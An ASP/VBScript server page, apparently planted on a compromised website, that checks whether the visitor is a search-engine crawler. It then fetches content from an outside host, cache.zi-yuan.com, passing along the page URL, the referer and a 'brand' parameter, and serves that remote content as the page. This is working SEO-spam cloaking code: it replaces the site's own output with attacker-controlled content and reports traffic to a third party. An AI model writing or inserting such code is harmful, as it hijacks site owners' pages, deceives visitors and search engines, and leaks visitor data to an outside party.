<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% 'on error resume next Function isSpider() dim s_agent isSpider="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"google",1) >0 then isSpider="yes" end if if instr(1,s_agent,"yahoo",1) >0 then isSpider="yes" end if if instr(1,s_agent,"ask",1) >0 then isSpider="yes" end if if instr(1,s_agent,"bing",1) >0 then isSpider="yes" end if End Function Function checkLanguage() Dim userLanguage userLanguage=LCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")) if InStr(userLanguage,"zh")>0 then checkLanguage=false else checkLanguage=true end if End Function Function getReferer() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) getReferer = false if urlrefer="" then getReferer = false searray=array("google","bing","yahoo","aol","zi-yuan") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then getReferer=true next end Function '1、输入url目标网页地址,返回值getHTTPPage是目标网页的html代码 Function getHTTPPage(url) dim Http set Http=Server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=BytesToBstr(Http.responseBody) set http=nothing if err.number<>0 then err.Clear End Function '2、转换乱玛,直接用xmlhttp调用有中文字符的网页得到的将是乱玛,可以通过adodb.stream组件进行转换 Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "UTF-8" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function '获取当前Url参数的函数 Function getUrl() Dim ScriptAddress,Servername,qs ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME")) Servername = CStr(Request.ServerVariables("Server_Name")) qs=Request.QueryString if qs<>"" then getUrl ="http://"& Servername & ScriptAddress &"?"&qs else getUrl ="http://"& Servername & ScriptAddress end if End Function '判断请求数据 Dim targetUrl,mickeyResultUrl,mickeyResultBrand,resultData mickeyResultUrl=Server.URLEncode(getUrl()) mickeyResultReferer=Server.URLEncode(trim(Request.ServerVariables("HTTP_REFERER"))) mickeyResultBrand=Request.QueryString("brand") mickeyResultBot=isSpider() if mickeyResultBot="yes" then targetUrl="http://cache.zi-yuan.com/labs-"& mickeyResultBrand &".action?u="& mickeyResultUrl &"&spiderbot=yes" & "&r=" & mickeyResultReferer else targetUrl="http://cache.zi-yuan.com/labs-"& mickeyResultBrand &".action?u="& mickeyResultUrl &"&spiderbot=no" & "&r=" & mickeyResultReferer end if '输出数据 Response.Clear resultData = getHTTPPage(targetUrl) Response.Write(resultData) Response.Flush Response.end %>